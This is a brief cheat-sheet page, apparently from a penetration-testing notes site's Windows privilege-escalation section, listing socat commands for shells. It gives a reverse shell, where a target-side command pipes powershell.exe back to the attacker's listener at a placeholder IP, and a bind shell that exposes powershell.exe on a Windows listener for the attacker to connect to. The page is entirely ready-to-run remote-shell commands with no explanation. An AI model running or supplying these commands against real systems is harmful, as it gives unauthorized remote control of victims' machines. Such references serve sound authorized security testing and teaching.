> For the complete documentation index, see [llms.txt](https://kashz.gitbook.io/kashz-jewels/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://kashz.gitbook.io/kashz-jewels/os-windows/windows-privilege-escalation/socat-shells.md).

# socat shells

## Reverse shell:

```bash
# listener on attacking machine.
socat TCP-L:<port> -

# connector on target machine
socat TCP:<LOCAL-IP>:<LOCAL-PORT> EXEC:powershell.exe,pipes
```

## Bind Shell:

```bash
# windows listener
socat TCP-L:<PORT> EXEC:powershell.exe,pipes

# connect to listener using attacking machine.
socat TCP:<TARGET-IP>:<TARGET-PORT> -
```